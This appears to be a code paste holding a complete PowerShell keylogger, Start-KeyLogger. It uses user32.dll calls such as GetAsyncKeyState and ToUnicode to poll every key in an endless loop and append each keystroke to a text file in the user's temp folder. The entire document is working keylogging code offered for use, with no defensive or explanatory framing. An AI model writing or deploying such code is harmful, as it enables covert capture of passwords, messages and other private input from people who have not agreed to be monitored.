· 6 years ago · Aug 30, 2019, 03:24 PM
1function Start-KeyLogger($Path="$env:temp\keylogger.txt")
2{
3 # Signatures for API Calls
4 $signatures = @'
5[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
6public static extern short GetAsyncKeyState(int virtualKeyCode);
7[DllImport("user32.dll", CharSet=CharSet.Auto)]
8public static extern int GetKeyboardState(byte[] keystate);
9[DllImport("user32.dll", CharSet=CharSet.Auto)]
10public static extern int MapVirtualKey(uint uCode, int uMapType);
11[DllImport("user32.dll", CharSet=CharSet.Auto)]
12public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
13'@
14
15 # load signatures and make members available
16 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
17
18 # create output file
19 $null = New-Item -Path $Path -ItemType File -Force
20
21 try
22 {
23 Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
24
25 # create endless loop. When user presses CTRL+C, finally-block
26 # executes and shows the collected key presses
27 while ($true) {
28 Start-Sleep -Milliseconds 40
29
30 # scan all ASCII codes above 8
31 for ($ascii = 9; $ascii -le 254; $ascii++) {
32 # get current key state
33 $state = $API::GetAsyncKeyState($ascii)
34
35 # is key pressed?
36 if ($state -eq -32767) {
37 $null = [console]::CapsLock
38
39 # translate scan code to real code
40 $virtualKey = $API::MapVirtualKey($ascii, 3)
41
42 # get keyboard state for virtual keys
43 $kbstate = New-Object Byte[] 256
44 $checkkbstate = $API::GetKeyboardState($kbstate)
45
46 # prepare a StringBuilder to receive input key
47 $mychar = New-Object -TypeName System.Text.StringBuilder
48
49 # translate virtual key
50 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
51
52 if ($success)
53 {
54 # add key to logger file
55 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
56 }
57 }
58 }
59 }
60 }
61 finally
62 {
63
64 }
65}
66
67# records all key presses until script is aborted by pressing CTRL+C
68# will then open the file with collected key codes
69Start-KeyLogger